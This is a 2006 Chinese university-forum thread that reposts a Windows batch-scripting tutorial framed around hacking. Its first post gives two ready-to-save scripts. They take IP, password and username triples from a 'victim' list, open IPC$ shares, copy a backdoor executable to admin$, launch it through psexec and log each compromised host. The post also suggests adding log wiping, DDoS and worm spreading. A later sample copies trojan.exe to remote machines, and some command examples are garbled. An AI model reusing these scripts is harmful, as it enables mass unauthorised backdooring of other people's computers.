西科人BBS_西安科技大学学生论坛

 找回密码
 立即注册
楼主: 呵呵★蓝夜

这个帖是我冲10000的~~~~

[复制链接]
 楼主| 发表于 2006-4-14 16:04:14 | 显示全部楼层
delims= 表示vivtim.txt中的内容是一空格来分隔的。我想看到这里你也一定明白这victim.txt里的内容是什么样的了。应该根据%%i %%j %%k表示的对象来排列,一般就是 ip password username。

  代码雏形:

  --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

  @echo off

  @if "%1"=="" goto usage

  @for /f "tokens=1,2,3 delims= " %%i in (victim.txt) do start call IPChack.bat %%i %%j %%k

  @goto end

  :usage

  @echo run this batch in dos modle.or just double-click it.

  :end

  --------------- cut here then save as a batchfile(I call it main.bat ) ---------------------------

  ------------------- cut here then save as a batchfile(I call it door.bat) -----------------------------

  @net use \\%1\ipc$ %3 /u:"%2"

  @if errorlevel 1 goto failed

  @echo Trying to establish the IPC$ connection …………OK

  @copy windrv32.exe\\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PWD %3 >>ko.txt

  @psexec \\%1 c:\winnt\system32\windrv32.exe

  @psexec \\%1 net start windrv32 && if not errorlevel 1 echo %1 Backdoored >>ko.txt

  :failed

  @echo Sorry can not connected to the victim.

  ----------------- cut here then save as a batchfile(I call it door.bat) --------------------------------

  这只是一个自动种植后门批处理的雏形,两个批处理和后门程序(Windrv32.exe),PSexec.exe需放在统一目录下.批处理内容

  尚可扩展,例如:加入清除日志+DDOS的功能,加入定时添加用户的功能,更深入一点可以使之具备自动传播功能(蠕虫).此处不多做叙述,有兴趣的朋友可自行研究.
 楼主| 发表于 2006-4-14 16:04:31 | 显示全部楼层
二.如何在批处理文件中使用参数
 楼主| 发表于 2006-4-14 16:04:42 | 显示全部楼层
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。

  sample1:fomat.bat

  @echo off

  if "%1"=="a" format a:

  :format

  @format a:/q/u/auotset

  @echo please insert another disk to driver A.

  @pause

  @goto fomat

  这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
 楼主| 发表于 2006-4-14 16:04:53 | 显示全部楼层
sample2:

  当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。

  @echo off

  @net use \\1%\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。

  @if errorlevel 1 echo connection failed

  怎么样,使用参数还是比较简单的吧?你这么帅一定学会了^_^.No.3
 楼主| 发表于 2006-4-14 16:05:40 | 显示全部楼层
三.如何使用组合命令(Compound Command)
 楼主| 发表于 2006-4-14 16:06:03 | 显示全部楼层
1.&

  Usage:第一条命令 & 第二条命令 [& 第三条命令...]

  用这种方法可以同时执行多条命令,而不管命令是否执行成功
 楼主| 发表于 2006-4-14 16:06:15 | 显示全部楼层
Sample:

  C:\>dir z: & dir c:\Ex4rch

  The system cannot find the path specified.

  Volume in drive C has no label.

  Volume Serial Number is 0078-59FB

  Directory of c:\Ex4rch

  2002-05-14 23:51
.

  2002-05-14 23:51
..

  2002-05-14 23:51 14 sometips.gif
 楼主| 发表于 2006-4-14 16:06:27 | 显示全部楼层
3.

  Usage:第一条命令    第二条命令 [   第三条命令...]

  用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

  Sample:

  C:\Ex4rch>dir sometips.gif    del sometips.gif

  Volume in drive C has no label.

  Volume Serial Number is 0078-59FB

  Directory of C:\Ex4rch

  2002-05-14 23:55 14 sometips.gif

  1 File(s) 14 bytes

  0 Dir(s) 768,696,320 bytes free

  组合命令使用的例子:
 楼主| 发表于 2006-4-14 16:06:38 | 显示全部楼层
sample:

  @copy trojan.exe \\%1\admin$\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt
 楼主| 发表于 2006-4-14 16:06:50 | 显示全部楼层
四、管道命令的使用
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

QQ|小黑屋|手机版|Archiver|西科人BBS ( 粤ICP备20049523号-3 )

GMT+8, 2026-4-17 08:57 , Processed in 0.040170 second(s), 15 queries .

Powered by Discuz! X3.4

Copyright © 2001-2021, Tencent Cloud.

快速回复 返回顶部 返回列表